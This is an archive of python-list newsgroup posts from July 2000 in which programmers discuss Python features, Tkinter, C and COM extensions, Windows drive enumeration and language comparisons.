In-Reply-To: <8k07ke$j0r@news.or.intel.com>; from no_spam@umich.edu on Wed, Jul 05, 2000 at 01:59:56PM -0700
References: <8k07ke$j0r@news.or.intel.com>
Message-ID: <20000706004646.G13478@xs4all.nl>

On Wed, Jul 05, 2000 at 01:59:56PM -0700, Jeff wrote:

> Can you overload operators as you can in other languages?  For example, can
> I make "&" give the address of something as in C++?  Or can I only overload
> things like the cmp operator?  i.e. I want to say &string and get the
> address of string.

Well, you have two issues here. There is no 'address-of' operator in Python,
so there is nothing to overload. Secondly, overloading in python is more
like overloading _behaviour_ than actually writing your own entirely
different operators. You can overload a number of operations, but you won't
be able to tell in what context they were called. For instance, if you
define a __pow__ overloader, it can be called by 'x ** y' or by 'pow(x,y)',
or by 'pow(x,y,z)'.

Also, because Python doesn't have augmented assignment (+=, >>=, etc) your
overloaders always have to return a new result object, instead of modifying
themselves in-place. So it's theoretically possible to make a file object
that takes arguments like the C++ I/O mechanisms:

x << "spam"

But because << is right-associative, you can't do something like:

x << "spam" << int(count) << "eggs"

unless you provide wrapper objects for all arguments that provide proper
__lshift__ methods ;-P As for augmented assignments, I've written a patch
for that, but it won't be going into Python for a while, if ever. See
http://www.xs4all.nl/~thomas/python/

This isn't really a problem, though, even in large programs: If what you
want to overload an operator with isn't really the same as the operator was
intended for, you shouldn't use an operator, you should use a method. I
remember how scared I was when I read about C++'s operator->*() ;-P

The 'special method names' are explained in the Language Reference:

http://www.python.org/doc/current/ref/specialnames.html

This includes operator overloading, indexing, etcetera. The part about the
methods that overload the usual operators is:

http://www.python.org/doc/current/ref/numeric-types.html

One thing that is missing from Python 1.5.2 is the ability to override the
'in' operator. That's added in Python 2.0 though, using __contains__. In
Python 1.5.2 and earlier, and in Python 2.0 when there is no __contains__
method, 'in' works by repeatedly calling '__getitem__'.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From thiele at muc.das-werk.de  Wed Jul 12 09:12:48 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Wed, 12 Jul 2000 15:12:48 +0200
Subject: Problem not completely solved!
References: <396A1233.17F2F302@muc.das-werk.de> <396B4CF3.90B13F9A@endea.demon.nl> <396B60D0.68BD2E62@muc.das-werk.de> <396B6FE0.E26D7C4A@endea.demon.nl>
Message-ID: <396C6ECF.914EA20@muc.das-werk.de>

Hi Niels!

With this simple example it works fine. But in my real programm I pickle more complex
classes including dicts, lists, tuples as well.
And the used memory of my program still increases.....

Am I blind or ignorant? But I coundl not find whymy program does this.



From sharkey3 at my-deja.com.bbs  Mon Jul 17 16:20:06 2000
From: sharkey3 at my-deja.com.bbs (sharkey3 at my-deja.com.bbs)
Date: 17 Jul 2000 20:20:06 GMT
Subject: newbie unimpressed...
Message-ID: <3bROD6$m5j@openbazaar.net>

I have much experience in tcl and perl, and I have finally found a good
project to learn python with.  Unfortunately, I am very frustrated so
far with the language.  Although maybe it's just with the documentation.

I'm serious.  The documentation really sucks.
Example:  where is the % operator documented for strings?

Ok, maybe the debugger sucks worse.  I've already read the documentation
for pdb, but I must be missing something.

Here's my test.py:
#!/usr/bin/python

print 'hi'


Here's my debugging session:
$ python /usr/lib/python1.5/pdb.py test.py
> <string>(0)?()
(Pdb) l
[EOF]
(Pdb) n
> <string>(1)?()
(Pdb)
hi
--Return--
> <string>(1)?()->None
(Pdb)
$

Notice that the 'l' command does nothing.  How do I see what line I am
on?
What does "> <string>(0)?()" tell me?

(I'm using python 1.5.1 on Redhat 5.2)


Sent via Deja.com http://www.deja.com/
Before you buy.


From richard_chamberlain at my-deja.com  Wed Jul 19 03:28:26 2000
From: richard_chamberlain at my-deja.com (richard_chamberlain at my-deja.com)
Date: Wed, 19 Jul 2000 07:28:26 GMT
Subject: Tkinter Problem with Radiobuttons
References: <3974E55A.FED978BD@leland.stanford.edu>
Message-ID: <8l3lac$68q$1@nnrp1.deja.com>

Hi Ryan,

You are getting the value of self.selection as if it were a variable
rather than a class. To get the current value of self.selection use
self.selection.get(). An example:

from Tkinter import *
root=Tk()

selection=IntVar()
nativeButton=Radiobutton(root,text="Native: CFD Datasets produced on
this OS",
                         variable=selection,value=0)
bigEButton=Radiobutton(root,text="Big Endian: Solaris,SGI, Motorola",
                       variable=selection, value=1)
littleEButton=Radiobutton(root,text="Little Endian:Intel, DEC",
                          variable=selection,value=2)
def Ok():
    print 'This is selection.get():',selection.get()
    print 'This is just selection:',selection
okButton=Button(root, text="Ok", command=Ok)
nativeButton.pack(anchor=NW,side=TOP)
bigEButton.pack(anchor=NW,side=TOP)
littleEButton.pack(anchor=NW,side=TOP)
okButton.pack(anchor=NE,side=TOP)

root.mainloop()

Notice the two print statements in Ok(), one returns the PY_VAR which
is how IntVar represents it self.

Richard


In article <3974E55A.FED978BD at leland.stanford.edu>,
  Ryan Vartanian <vartan at leland.stanford.edu> wrote:
>
> I am trying to use radiobuttons to select a value for a program, and I
> am haveing trouble with the IntVar() and StringVar() classes.
>
> My code looks like this:
>
> self.selection=IntVar()
> self.nativeButton=Radiobutton(self.byteWindow, text="Native: CFD
> Datasets produced on this OS", variable=self.selection, value=0)
>
> self.bigEButton=Radiobutton(self.byteWindow, text="Big Endian:
Solaris,
> SGI, Motorola", variable=self.selection, value=1)
>
> self.littleEButton=Radiobutton(self.byteWindow, text="Little Endian:
> Intel, DEC", variable=self.selection, value=2)
>
> self.okButton=Button(self.byteWindow, text="Ok", command=self.Ok)
> self.cancelButton=Button(self.byteWindow, text="Cancel",
> command=self.Cancel)
>
> All of this is packed in window, and things when I select a given
> radiobutton, the value of the variable is not 0, 1, or 2, but PY_VAR0,
> PY_VAR1, or PY_VAR2.  The documentation for IntVar() is sparse at
best.
> Any suggestions on what is going on here?
>
> Ryan Vartanian
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From Armin at Steinhoff.de.bbs  Sat Jul 15 06:20:02 2000
From: Armin at Steinhoff.de.bbs (Armin at Steinhoff.de.bbs)
Date: 15 Jul 2000 10:20:02 GMT
Subject: Setting a C-structure from Python
Message-ID: <3bPTV1$krz@openbazaar.net>

In article <396F6449.F2E63F85 at seatech.fau.edu>, Benoit says...
>
>
>Armin wrote:
>--------------------------------------------------------------
>
> I have changed your code in the following way:
>
> static PyObject * test_setstruct(PyObject * self, PyObject * args) {
> //PyObject * string_from_python;
>
> char * string_from_python;
> int len;
>
> // if (!PyArg_ParseTuple(args,"S",&string_from_python)) return NULL;
> if (!PyArg_ParseTuple(args,"s#",&string_from_python, &len)) return NULL;
>
> // example= (examplestruct *) PyString_AsString(string_from_python);
>example= (examplestruct *) string_from_python;
>
> // Py_DECREF(string_from_python);
> print_struct();
>
> Py_INCREF(Py_None);
> return Py_None;
> }
> ----------------------------------------------------
>
>Ok it works too! You convert the PythonString in a C string representation
>right away with PyArgs_ParseTuple.
>
>
>
>Now, I changed the test_getstruct function in the same way..
>
>static PyObject * test_getstruct(PyObject * self, PyObject * args)
>{
> if (!PyArg_ParseTuple(args,"")) return NULL;
                             ^^ ???

> return Py_BuildValue("s",(char *)exampleptr);
                        ^             ^
                       "s#"      exampleptr, len);

 ... then it should work :-)

Greetings

Armin

BTW ... remove in the qnx_send procedure the Py_BuildValue() call ... its
garbage. ( 'qnxmodule' )


>}
>
>
>Yes.. it was too easy : it doesn't work :
>    Traceback (innermost last):
>      File "<stdin>", line 1, in ?
>      File
>"//1/old_home/bdupire/Alpha/morpheus/Python-1.5.2/Lib/my_prog/structure.py",
>line 24, in ?
>       a =struct.unpack(fmt,rec)
>struct.error: unpack str size does not match format
>
>So my question is the following: how to tell Py_BuildValue about the size of
>the structure and the number of bytes to grab ?
>


From billtut at microsoft.com.bbs  Thu Jul 13 12:30:04 2000
From: billtut at microsoft.com.bbs (billtut at microsoft.com.bbs)
Date: 13 Jul 2000 16:30:04 GMT
Subject: TypeLib for Python COM Server?
Message-ID: <3bOCDS$nG6@openbazaar.net>

Don't rely on the 1000 thing. You should specifically declare the dispid's
in the Python class.

Bill

 -----Original Message-----
From: 	Stefan Migowsky [mailto:smigowsky at dspace.de]
Sent:	Thursday, July 13, 2000 1:16 AM
To:	python-list at python.org
Subject:	RE: TypeLib for Python COM Server?

Hi,

there is no general support for typelib generation. But as I know all
propertiues and methods of a Python COM Server start with the dispid 1000.

So writing the IDL File by hand is no problem. Just take the same GUIDs,
Names and the right DispID. So here is a little example :

Python File :

_reg_clsid_ = "{5B24BFC0-EF45-11d3-9B5F-0090274354BC}"
_reg_libname_ = "PythonComInterpreter Typelib"

class PythonComInterpreter:
    """Interface PythonComInterpreter"""

    _public_methods_ = ['Exec','Eval']

    _reg_progid_     = "PythonComInterpreter"
    _reg_verprogid_  = "PythonComInterpreter.1"
    _reg_clsid_      =  '{281AC1E3-E3D2-11D3-9B37-00902722BDE1}'
    _reg_desc_       = "PythonComInterpreterClass"
    _reg_class_spec_ = "PythonComInterpreter.PythonComInterpreter"

 
    def __init__(self):
        self.Dict = {}
        self.Dict["__name__"] = "__main__"
        self.Dict["__builtins__"] = __builtins__
        self.Dict["__doc__"] = ""

    def Exec(self, Cmd):
        exec str(Cmd) in self.Dict

    def Eval(self, Cmd):
        return eval(str(Cmd),self.Dict)


if __name__ == '__main__':
  print 'Registering Python COM Server ...'
  import win32com.Server.register
  win32com.Server.register.UseCommandLine(PythonComInterpreter)
  print 'Registering finished'

######################################################################
Corresponding IDL File:
######################################################################

[
  uuid(5B24BFC0-EF45-11D3-9B5F-0090274354BC),    // _reg_clsid_ Typelib
  version(1.0),
  helpstring("PythonComInterpreter 1.0 Type Library")
]
library Interpreter
{
    importlib("STDOLE2.TLB");

    // Forward declare all types defined in this typelib
    dispinterface IPythonComInterpreter;

    [
      uuid(281AC1E3-E3D2-11D3-9B37-00902722BDE1), // _reg_clsid_
PythonComInterpreter Class
      helpstring("PythonComInterpreter Class")
    ]
    coclass PythonComInterpreter {                // _reg_progid_
PythonComInterpreter Class
        [default] dispinterface IPythonComInterpreter;
    };

    [
      uuid(F8887DE1-EF58-11D3-9B5F-0090274354BC),
      helpstring("IPythonComInterpreter Interface")
    ]
    dispinterface IPythonComInterpreter {
        properties:
        methods:
            [id(1000), helpstring("Executes a Pythonstatement")]
            VARIANT Exec([in] BSTR cmd);
            [id(1001), helpstring("Evals a Pythonstatement")]
            VARIANT Eval([in] BSTR cmd);
    };
};


	Stefan


>-----Original Message-----
>From: mlp at amrose.dk [mailto:mlp at amrose.dk]
>Sent: Wednesday, July 12, 2000 1:37 PM
>To: python-list at python.org
>Subject: TypeLib for Python COM Server?
>
>
>hi all.
>
>i'm in a situation where i'd like to have a typelib for a python com
>server, for use in a c++ client.
>
>i tried to just use midl on an idl i made to reflect the interface of
>the python server.  this didn't work out, since when compiling the
>client code the tlb file is not recognized.
>
>my question: is there an automatic, easy, or standard, way to produce a
>typelibrary for a com server implemented in python?  if not, is it
>possible at all?  if so, could anybody help me with the details?  a
>complete example would be splendid!
>
>python rules!
>'gards,
>morten lind petersen, denmark
>
>
>Sent via Deja.com http://www.deja.com/
>Before you buy.
>--
>http://www.python.org/mailman/listinfo/python-list
>

--
http://www.python.org/mailman/listinfo/python-list


From ajm at enteract.com  Tue Jul 18 23:27:03 2000
From: ajm at enteract.com (Alan Miller)
Date: Tue, 18 Jul 2000 22:27:03 -0500
Subject: Enumerating drives in Python or wxPython (different behavior in PythonWin and python.exe)
References: <8aKa5.485$652.11285@newsc.telia.net> <MPG.13d6a1cd2ebf57169896bf@news-enteract> <ubt018y3z.fsf@ctwd0143.fitlinxx.com> <MPG.13d9529f7e3be5519896c1@news-enteract> <ulmz064fe.fsf@ctwd0143.fitlinxx.com>
Message-ID: <MPG.13de7dae2b2cd2ff9896c5@news-enteract>

David Bolen (db3l at fitlinxx.com) wrote:
[os.path.isdir() to identify drives, and what happens for removables]
>Alan Miller <ajm at enteract.com> writes:
>> Interesting, I tried it out before I posted and didn't have any problems.  
>
>Strange - it did for me for A: (I did it just before posting as well).
>Perhaps it's a Windowism that depends on platform or some strange
>registry setting or something.  I was on NT 4, SP4.  In any event, I
>guess at the very least it means that it's behavior isn't guaranteed
>to be consistent.

Interesting, I'm on NT4WS, SP6a.  It also works on a Win95 laptop with 
the floppy drive missing, though it (Win95, really) goes out to lunch for 
a few seconds waiting for a response from the drive.

>The problem was that isdir() didn't return an error - it returned 1
>(which I guess is ok, given that A:\ is technically valid even without
>a diskette), but the NT error while performing isdir() put up a
>message box that the user would have to answer before isdir() returned
>in the Python script.

I'm running Python 1.5.2 and PythonWin build 132, and I was running the 
test from the PythonWin interactive window.  

I just tried it from a command line Python and got the message you were 
probably seeing - "There is no disk in the drive.  Please insert a disk 
into drive A:.\n[Abort][Retry][Ignore]"

I'm not sure what to do about that - obviously PythonWin is doing 
something differently, but I'm not sure what - it should be using the 
same modules, but I don't know if it has the builtin modules compiled 
into it or if it calls python.exe.  I suspect the entire interpreter and 
the builtins are compiled in, possibly Visual C/Visual C++ does something 
unusual in terms of optimization?

Hopefully the change in the subject will catch Mark's attention....
Mark, any thoughts on this?

ajm


From holger at fuessler-net.de  Sat Jul  1 03:24:32 2000
From: holger at fuessler-net.de (holger at fuessler-net.de)
Date: Sat, 1 Jul 2000 09:24:32 +0200
Subject: MD5 - Passwords with python
References: <Pine.BSF.4.10.10006301910440.27864-100000@chi.pair.com>
Message-ID: <gb6kj8.j82.ln@odin.hmf.de>

> http://www.sabren.com/code/python/crypt/

That's it!

Thanks a lot!

Greetings

Holger


From chapman at bioreason.com  Thu Jul 13 11:25:36 2000
From: chapman at bioreason.com (Mitch Chapman)
Date: Thu, 13 Jul 2000 09:25:36 -0600
Subject: Glade
References: <396B9784.191A513D@tcomhp43.epfl.ch>
Message-ID: <396DDF70.EF80E393@bioreason.com>

Cedric Lefeuvre wrote:
> 2...What is the capacity of Glade..I mean it seems to be easy to
> create static windows but is there the possibility (in the way to show
> results of some applications) for example to change the size of a tree
> or a a table....

So for example you'd like to show some reports in a
multi-column list, but the number of columns varies from report to
report?  This means you'd need to recreate the GtkCList widget
which shows the results, because you can't (very easily) change
the number of columns once the widget is created.

Glade can help with this.  One approach is to use Glade to layout 
the static parts of the UI, and then to dynamically create and 
add subhierarchies via pygtk.

If your subhierarchy is complex, you can use glade to create a
template for it.  Just store your subhierarchy as a child of a
new window; you can ask libglade to retrieve just the subhierarchy,
and then you can parent it yourself.

Email me if this is unintelligible.  Maybe I can send you
a Glade file as an example.

--
Mitch Chapman
chapman at bioreason.com


From stephen_purcell at yahoo.com  Fri Jul 28 18:58:00 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Sat, 29 Jul 2000 08:58:00 +1000
Subject: Perl is worse!
In-Reply-To: <slrn8o3jap.49c.grey@teleute.rpglink.com>; from grey@rpglink.com on Fri, Jul 28, 2000 at 06:15:56PM +0000
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com>
Message-ID: <20000729085800.D15002@inkontact.com.au>

Steve Lamb wrote:
> 
> [snip]  I think I've been at least fair to Python,
> all things consider.  I really do like the language, I guess I was just hoping
> too much from the people.    

Hey, I resemble that remark!     (a favourite pun I stole from a friend)

But seriously, week-long bouts of unhelpful nit-picking about language
differences do not reflect on the Python community at large; such rantings
are merely sport. After all, Python vs. Perl is the programming SuperBowl.
At the end of the day, the best team will win, and the losers' fans won't
suddenly switch allegiances.

-Steve

-- 
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me



From dsavitsk at e-coli.net  Mon Jul 10 14:00:07 2000
From: dsavitsk at e-coli.net (dsavitsk)
Date: Mon, 10 Jul 2000 18:00:07 GMT
Subject: Tkinter Option (Radio)  Buttons
Message-ID: <Haoa5.50544$dF.2046832@news1.rdc1.il.home.com>

If i have 3 option buttons created like in Interface() below I am able to
use Value() to determine which button is selected,  Is there a bit of code
that i could add to Value() to disable certain buttons (i don't need the
if...elif's, just how to disable an option of my choosing.) or a better way
to do this.


>>> def Value():
...    global CnType
...    print CnType.get()

>>> def Interface():
...     CnType = IntVar()
...     CnType.set(0)
...     fm = Frame()
...     optTp = Radiobutton(fm5, text='Button 0', variable=CnType, value=0)
...     optTp.grid(row=0, column=0, sticky=W)
...     optTp = Radiobutton(fm5, text='Button 1', variable=CnType, value=1)
...     optTp.grid(row=0, column=1, sticky=W)
...     optTp = Radiobutton(fm5, text='Button 2', variable=CnType, value=2)
...     optTp.grid(row=0, column=2, sticky=W)
...     fm5.pack(side=TOP)


thanks
doug




From paul at prescod.net  Wed Jul 19 20:21:32 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 19 Jul 2000 19:21:32 -0500
Subject: CDDB
References: <3976402D.9B957E2F@uniserve.com>
Message-ID: <3976460C.6F07DC12@prescod.net>

Bob van der Poel wrote:
> 
> Has anyone converted the cddb code which calulates the cddb id and track
> timing for a cd from C to python? Looks like it should be possible
> without too much work...I was going to try this myself, but figured I'd
> ask before I started...

You're in luck:

http://www.vex.net/parnassus/apyllo.py?find=CDDB

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)



From phil at geog.ubc.ca.bbs  Mon Jul 17 18:20:03 2000
From: phil at geog.ubc.ca.bbs (phil at geog.ubc.ca.bbs)
Date: 17 Jul 2000 22:20:03 GMT
Subject: CXX and Swig, pros and cons
Message-ID: <3bRRJ5$k8C@openbazaar.net>

J?r?me Lecomte <jlecomte at ifrance.com> writes:

> I am fairly new to Python and I'd like to interface part of a medium
> size C++ lib (around 70 classes) to Python. I looked on the www and I
> found CXX and Swig. They seem to have fairly different approach of the
> problem. I wonder which suits best C++.
>

I find that CXX has quite a few  advantages, e.g:

1) Automatic memory management (no worrying about INCREFs or DECREFs)

2) CXX Dict, List, Tuple String, Array, etc.

3) Integration of Python and C++ exceptions

4) Automatic generation of method tables

> If I miss any other tool, please let me know.
>

You might want to take a look at SCXX:

http://www.mcmillan-inc.com/scxx.html

Regards, Phil


From db3l at fitlinxx.com  Thu Jul 13 18:27:28 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 13 Jul 2000 18:27:28 -0400
Subject: Enumerating drives in Python or wxPython
References: <8aKa5.485$652.11285@newsc.telia.net> <MPG.13d6a1cd2ebf57169896bf@news-enteract>
Message-ID: <ubt018y3z.fsf@ctwd0143.fitlinxx.com>

Alan Miller <ajm at enteract.com> writes:

> import string, os
> 
> drivelist = []
> 
> for driveletter in string.uppercase:
>     if os.path.isdir(driveletter + ":\\"):
>         drivelist.append(driveletter)
> 
> print drivelist

The only rub with this is that for things like floppies, you can get
errors running isdir() if there is no diskette present.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From paulb at infercor.no  Mon Jul 31 06:58:23 2000
From: paulb at infercor.no (Paul Boddie)
Date: Mon, 31 Jul 2000 12:58:23 +0200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <8lrt2h013fp@news2.newsguy.com> <3981BE50.23DB16C5@infercor.no> <8lsu2a02ho4@news2.newsguy.com>
Message-ID: <39855BCF.6C36B33B@infercor.no>

Alex Martelli wrote:
> 
> Nope -- it's perfectly defined by the C standard.  What IS implementation
> defined (or even undefined, I forget) is what happens if somebody *stores*
> new characters in an area defined as a string-literal (a strong "just don't
> do that!" in C:-).

I was slightly uncertain about that. But since it is the case that using the
increment operator on a pointer makes that pointer "move on" to the next element
in an array, so it must also be the case that adding 1 to a pointer does the
same thing.

It must be longer since I last used C in anger than I thought, and I must have
been even more tired than I believed I was on Friday. ;-)

Regards,

Paul


From pj at sgi.com  Fri Jul  7 15:02:03 2000
From: pj at sgi.com (Paul Jackson)
Date: 7 Jul 2000 19:02:03 GMT
Subject: Flushing sdtout
References: <sn4s61hl9t.fsf@motorola.com> <Jpp95.49747$W35.1083256@news20.bellglobal.com>
Message-ID: <8k59fb$2quui$1@fido.engr.sgi.com>

Aaron asks:
|> Is there a simple way to flush stdout on every print

How about 'python -u':

      -u   Force stdin, stdout and stderr to be totally
	   unbuffered.

(which I found by grepping for 'setbuf' in the source
code and tracing backwards to see how it was controlled)
-- 
-- 
I won't rest till it's the best ...	   Software Production Engineer
Paul Jackson (pj at sgi.com; pj at usa.net) 3x1373 http://sam.engr.sgi.com/pj


From MarkH at ActiveState.com  Mon Jul  3 19:24:31 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Mon, 03 Jul 2000 23:24:31 GMT
Subject: From UNIX to Win NT
References: <39606DAC.49A502DB@muc.das-werk.de> <8jq7c2$2f8$1@slb6.atl.mindspring.net> <3960B33F.98B23C40@sec.noaa.gov>
Message-ID: <Pg985.6710$Tb7.40646@news-server.bigpond.net.au>

"j vickroy" <jvickroy at sec.noaa.gov> wrote in message
news:3960B33F.98B23C40 at sec.noaa.gov...
> Mark isn't here yet but his book (Python Programming on Win 32) is and I
quote
> (from page 35):

And that quote shows why I was staying out of it :-)

Mark.





From aahz at netcom.com  Wed Jul 19 11:06:26 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 19 Jul 2000 15:06:26 GMT
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk> <tOid5.135713$HK2.2425898@news20.bellglobal.com>
Message-ID: <8l4g5i$8$1@slb7.atl.mindspring.net>

In article <tOid5.135713$HK2.2425898 at news20.bellglobal.com>,
Olivier Dagenais <olivierS.dagenaisP at canadaA.comM> wrote:
>How about:
>
>"twist", "merge", "smash", "glue", "dna", "ladder", "join", "match",
>"collect", "pick", "lineup"???

I like "merge".
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From aahz at netcom.com  Sun Jul 30 14:35:17 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 30 Jul 2000 18:35:17 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <39838BAC.C855EDCB@san.rr.com> <czYg5.2851$6E.754249@ptah.visi.com> <8m1rka$tps$1@slb2.atl.mindspring.net>
Message-ID: <8m1sh5$aic$1@nntp9.atl.mindspring.net>

In article <8m1rka$tps$1 at slb2.atl.mindspring.net>,
Arthur Siegel <ajs at ix.netcom.com> wrote:
>
>And some things simple in Python - a list of heterogenous instances
>that I can append and iterate - is a todo in Java.  Java just doesn't
>want to believe I might want to do such a silly thing. But I do.
>
>I certainly can understand why strict typing might be a good feature
>for large scale projects.
>
>But I certainly would disagree that it makes it easier to learn
>programming, or do programming.

I think you misunderstood large chunks of this thread.  Python *does*
have strict typing, but it is strict typing of objects, not of
variables.  That is, variables can point to an instance of *any* type of
object, but the objects that variables point to are *strongly* typed --
the operations that can then be performed on that variable's object are
highly restricted by its type (and/or interface if you want to get
nit-picky).
--
                      --- Aahz (Copyright 2000 by aahz at pobox.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

NOTE: end of September, Earthlink kills Netcom.  My new permanent address is 
aahz at pobox.com.  I have not decided where to set my primary shell account.
Please do not send me e-mail condolences; my mailbox is already too big.


From bhella at ce.mediaone.net  Sat Jul  8 15:52:10 2000
From: bhella at ce.mediaone.net (Opinderjit Singh Bhella)
Date: Sat, 08 Jul 2000 14:52:10 -0500
Subject: Perl's paragraph mode
Message-ID: <3967866A.5C69F6F1@ce.mediaone.net>

How can I do this Perl paragraph mode in Python?
    $/ = '';  # paragraph mode

Thanks.



From hinsen at cnrs-orleans.fr  Thu Jul 20 12:18:38 2000
From: hinsen at cnrs-orleans.fr (Konrad Hinsen)
Date: 20 Jul 2000 18:18:38 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <39771CA8.A1BF8D6E@fft.be>
Message-ID: <m3itu0lqqp.fsf@chinon.cnrs-orleans.fr>

Gregory Lielens <gregory.lielens at fft.be> writes:

> For Nd arrays, there is indeed more possibilities, and I fear adressing
> all of them could be too much to ask to "simple" infix operators....
> I propose to extend the meaning of the matrix multiply to Nd arrays as
> a=b at c <=> a(i1,...,in,j1,...,jm) = b(i1,...,in,k) * c(k,j1,...,jm)

That is indeed the most common generalization, and it also covers
the vector dot product when 1d arrays are used. In fact, this is what
the function Numeric.dot() implements!

> imho Division (right and left) belongs to pure matrices, and can not
> really be generalized
> I feel that way because I am not aware of a well defined inverse for a
> Nd array ...(should someone be interrested in this I could post a
> discussion I had with Travis Oliphant, from NumPy group)

You can always define a suitable inverse as long as it reduces to the
standard matrix inverse for square 2d arrays. However, there is hardly
any point in doing so without having a motivation to define such
inverses. I am not aware of any useful definitions either. The most
general kind of inverse I know is the pseudo-inverse (also known as
generalized inverse or Moore-Penrose inverse) which covers all 2d
matrices and reduces to the matrix inverse for the case of a square
and non-singular matrix. It is implemented in NumPy by
LinearAlgebra.generalized_inverse().
-- 
-------------------------------------------------------------------------------
Konrad Hinsen                            | E-Mail: hinsen at cnrs-orleans.fr
Centre de Biophysique Moleculaire (CNRS) | Tel.: +33-2.38.25.55.69
Rue Charles Sadron                       | Fax:  +33-2.38.63.15.17
45071 Orleans Cedex 2                    | Deutsch/Esperanto/English/
France                                   | Nederlands/Francais
-------------------------------------------------------------------------------


From davec999 at my-deja.com  Fri Jul 14 10:25:27 2000
From: davec999 at my-deja.com (David Currie)
Date: Fri, 14 Jul 2000 14:25:27 GMT
Subject: Local CGI programming
References: <396F0F28.7C8B8B83@ieee.org>
Message-ID: <8kn7s0$dkb$1@nnrp1.deja.com>

In article <396F0F28.7C8B8B83 at ieee.org>,
  Didier WILLAME <didier.willame at ieee.org> wrote:
> Is a http service needed to perform this test?
>   If yes, what minimal product propose you?
>   If no, what is the error?

You have hit the nail on the head.  Yes, an http server has to serve
the pages because the browser doesn't handle the CGI protocol.

I don't know how suitable I am for recommending a product, but the
Apache for NT installation is quick and easy to do.  However, this
discussion probably belongs in another newsgroup.. :)

Dave


Sent via Deja.com http://www.deja.com/
Before you buy.


From grey at despair.rpglink.com  Fri Jul 28 14:15:56 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 18:15:56 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com>
Message-ID: <slrn8o3jap.49c.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 18:57:33 +0200, Alex Martelli <alex at magenta.com> wrote:
>which is concatenated with digits to make it unique.  (There also seems to
>be some problems with $index, which is never incremented, and $done,
>which is never set -- not clear what parts you have omitted). 

    Correct, that is what happens when I do pseudo code off the cuff for an
example.

>But, back to %members...:
>Why organize it like that, rather than just index it directly with a
>(name,number) pair?  Presumably, because Perl cannot use a pair as an index,
>but wants a scalar?  But that's no problem in Python, so (guessing at your
>snipped parts):

    Exactly.  Actually I normally use something like $name."|".$index for a
later split().

>a single string, but the % operator has the advantage of being
>easily tailorable

   I never did like the whole placeholder for actual values in print
statements or other similar constructs.  I fail to see why one must do that
instead of putting what you want there.

>Two days?  It must be _at least_ 20 years that people on Usenet are putting
>down other languages (and operating systems, applications, computers, etc)
>for what they consider wrong.  Would you have us put them down for what we
>consider _right_?-)

    Yeah, yeah, I know this is Usenet.  So sue me for once in my life not
wanting to have to come into a new culture and atmosphere without having
everything that I have learned and liked up to this point blasted at every
corner for some ego building, ok?  I think I've been at least fair to Python,
all things consider.  I really do like the language, I guess I was just hoping
too much from the people.    

>That Python has this specific wart does not mean that a language that
>has analogous and worse ones in a thousand places is just the same,
>of course:-).

    I'm not saying it is the same.  I am just refuting claims that Python
doesn't have then and that they are, senseless, wretched, horrible or any
other negative description people care to place on it.  It is different and as
someone (you, mayhap?) said that even typing isn't good in all cases.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From ben at co.and.co  Thu Jul 27 13:11:15 2000
From: ben at co.and.co (ben at co.and.co)
Date: Thu, 27 Jul 2000 17:11:15 GMT
Subject: Will NumPy ever be built into standard Python dist?
References: <Pine.GSO.4.10.10007271740470.4334-100000@sundial>
Message-ID: <T2_f5.25364$Uu3.947131@afrodite.telenet-ops.be>

Moshe Zadka <moshez at math.huji.ac.il> wrote:
